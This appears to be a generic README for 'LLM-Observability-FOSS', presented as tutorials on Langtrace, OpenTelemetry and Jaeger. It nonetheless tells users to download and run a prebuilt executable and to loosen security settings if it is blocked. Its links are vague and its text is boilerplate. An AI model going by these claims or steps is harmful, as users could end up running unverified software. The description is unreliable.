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🧠 LLM-Observability-FOSS - Understand Your LLM Tools Easily

📘 Overview

Welcome to LLM-Observability-FOSS. This application helps you understand and monitor Language Model (LLM) performance using Free and Open Source Software (FOSS) tools. Whether you want to start with no visibility or enhance your existing monitoring, this guide will assist you step-by-step.

🚀 Getting Started

What You Need

Before downloading the software, ensure you have the following:

• A computer running Windows, macOS, or Linux.
• At least 4GB of RAM.
• An internet connection to download the software.
• Basic familiarity with using files on your computer.

Key Features

• Step-by-Step Tutorials: Learn how to use Langtrace, OpenTelemetry, and Jaeger.
• Comprehensive Monitoring: Gain complete visibility into your LLM’s performance.
• User-Friendly Interface: Navigate easily, even if you’re new to programming.

🔗 Download & Install

To get started, visit the Releases page to download the software. Follow these steps:

1. Open this link: Releases page.
2. On the Releases page, you will see a list of available versions. Each version provides detailed release notes.
3. Click on the latest version to expand the menu.
4. Look for the file that fits your operating system (e.g., LLM-Observability-FOSS-windows.exe for Windows users).
5. Click on the appropriate file to download it. The download should start automatically.
6. Once the download is complete, locate the file on your computer.

Running the Application

After downloading, install and run the application:

1. Windows: Double-click the .exe file. Follow the installation prompts.
2. macOS: Open the downloaded .dmg file. Drag the app to your Applications folder.
3. Linux: Use the terminal to navigate to your Downloads folder and run the command chmod +x LLM-Observability-FOSS-linux to make it executable. Then run ./LLM-Observability-FOSS-linux.

🔍 Understanding the Tools

Our application integrates three key FOSS tools:

Langtrace

Langtrace provides insights into LLM interactions. You can visualize how your model responds over time and under different conditions.

OpenTelemetry

This tool collects metrics and traces from your application. It helps you see how different parts of your system interact, giving you a clearer view of performance bottlenecks.

Jaeger

Jaeger helps trace requests through your application. It allows you to pinpoint where delays or errors occur, improving your overall monitoring.

📊 Troubleshooting

If you encounter any issues during installation or running the software, consider the following steps:

• Recheck Download: Ensure the file did not get corrupted during download.
• System Compatibility: Make sure your operating system supports the application.
• Permissions: On some systems, you may need to adjust security settings to run downloaded apps.
• Community Support: For further issues, visit our support page to find answers or submit your questions.

📍 Additional Resources

In addition to the application, the following resources can help you maximize your experience:

• Documentation: Detailed guides are available within the app and online to explain features and usage.
• Community Forums: Join discussions with other users to share tips and ask questions.
• Video Tutorials: Visit our YouTube channel for visual guides.

🎉 Conclusion

You now have everything you need to successfully download and run LLM-Observability-FOSS. By using this tool and the accompanying resources, you will not only gain visibility into LLM performance but also become proficient in utilizing powerful FOSS monitoring solutions.

For ongoing updates and support, keep an eye on our Releases page.